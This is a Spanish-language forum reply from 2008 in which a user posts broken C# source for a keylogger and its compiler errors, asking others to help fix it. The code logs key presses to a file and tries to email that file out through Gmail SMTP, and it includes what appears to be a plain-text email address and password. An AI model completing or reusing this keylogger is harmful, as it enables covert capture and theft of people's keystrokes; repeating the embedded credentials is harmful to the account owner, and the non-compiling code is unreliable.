Ver Mensaje Individual
  #8 (permalink)  
Antiguo 10/12/2008, 19:59
crozer
 
Fecha de Ingreso: agosto-2008
Mensajes: 79
Antigüedad: 15 años, 8 meses
Puntos: 0
Exclamación Respuesta: Keylogger en C#

Hola, mira trate de hacer algo de ese estilo, pero me salen estos errores:
Cita:
Error 1 The best overloaded method match for 'System.Windows.Forms.Timer.Timer(System.Component Model.IContainer)' has some invalid arguments C:\Documents and Settings\user\Escritorio\CR0Z3R\C#\KeyLogger\KeyLo gger\Form1.cs 31 28 KeyLogger
Error 2 Argument '1': cannot convert from 'int' to 'System.ComponentModel.IContainer' C:\Documents and Settings\user\Escritorio\CR0Z3R\C#\KeyLogger\KeyLo gger\Form1.cs 31 38 KeyLogger
Error 3 The name 'Email' does not exist in the current context C:\Documents and Settings\user\Escritorio\CR0Z3R\C#\KeyLogger\KeyLo gger\Form1.cs 38 13 KeyLogger
Error 4 The name 'From' does not exist in the current context C:\Documents and Settings\user\Escritorio\CR0Z3R\C#\KeyLogger\KeyLo gger\Form1.cs 39 53 KeyLogger
Error 5 The name 'To' does not exist in the current context C:\Documents and Settings\user\Escritorio\CR0Z3R\C#\KeyLogger\KeyLo gger\Form1.cs 39 59 KeyLogger
Error 6 The name 'Subject' does not exist in the current context C:\Documents and Settings\user\Escritorio\CR0Z3R\C#\KeyLogger\KeyLo gger\Form1.cs 39 63 KeyLogger
Error 7 'System.Windows.Forms.Message' is a 'type' but is used like a 'variable' C:\Documents and Settings\user\Escritorio\CR0Z3R\C#\KeyLogger\KeyLo gger\Form1.cs 39 72 KeyLogger
Error 8 The name 'Email' does not exist in the current context C:\Documents and Settings\user\Escritorio\CR0Z3R\C#\KeyLogger\KeyLo gger\Form1.cs 40 13 KeyLogger
Error 9 'System.Net.Mail.MailMessage' does not contain a constructor that takes '1' arguments C:\Documents and Settings\user\Escritorio\CR0Z3R\C#\KeyLogger\KeyLo gger\Form1.cs 51 35 KeyLogger
Error 10 The name 'MediaTypeNames' does not exist in the current context C:\Documents and Settings\user\Escritorio\CR0Z3R\C#\KeyLogger\KeyLo gger\Form1.cs 52 52 KeyLogger
Aca te pongo el codigo:
Cita:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.IO;
using System.Net.Mail;

namespace KeyLogger
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}

private void Form1_KeyUp(object sender, KeyEventArgs e)
{
listBox1.Items.Add(e.KeyCode);
StreamWriter sw = new StreamWriter(@"C:\user.txt", true);
sw.Write(e.KeyCode);
sw.Close();
}

private void timer1_Tick(object sender, EventArgs e)
{
Timer tiempo = new Timer(200000);
tiempo.Tick += new EventHandler(tiempo_Tick);
}

void tiempo_Tick(object sender, EventArgs e)
{
System.Net.Mail Email;
// smtp server
Email = new System.Net.Mail.MailMessage(From, To, Subject, Message);
System.Net.Mail.SmtpClient smtpMail = new System.Net.Mail.SmtpClient("smtp.gmail.com");
Email.IsbodyHtml = false;
smtpMail.EnableSsl = true;

smtpMail.UseDefaultCredentials = true;
smtpMail.Host = "smtp.gmail.com";
smtpMail.Port = 25;
smtpMail.Credentials = new System.Net.NetworkCredential("chrishonninger@gmail .com", "nun4t3l0dir3");
// end SMTP -----------------------

string file = @"C:\user.txt";
MailMessage message = new MailMessage("[email protected]");
Attachment data = new Attachment(file, MediaTypeNames.Application.Octet);
// adjuntado
message.Attachments.Add(data);
// enviar----
smtpMail.Send(Email);
// ----#
data.Dispose();

}

private void Form1_Load(object sender, EventArgs e)
{

}
}
}
Espero me puedas ayudar de alguna manera.. Algo falta :S
Muchas gracias compadre.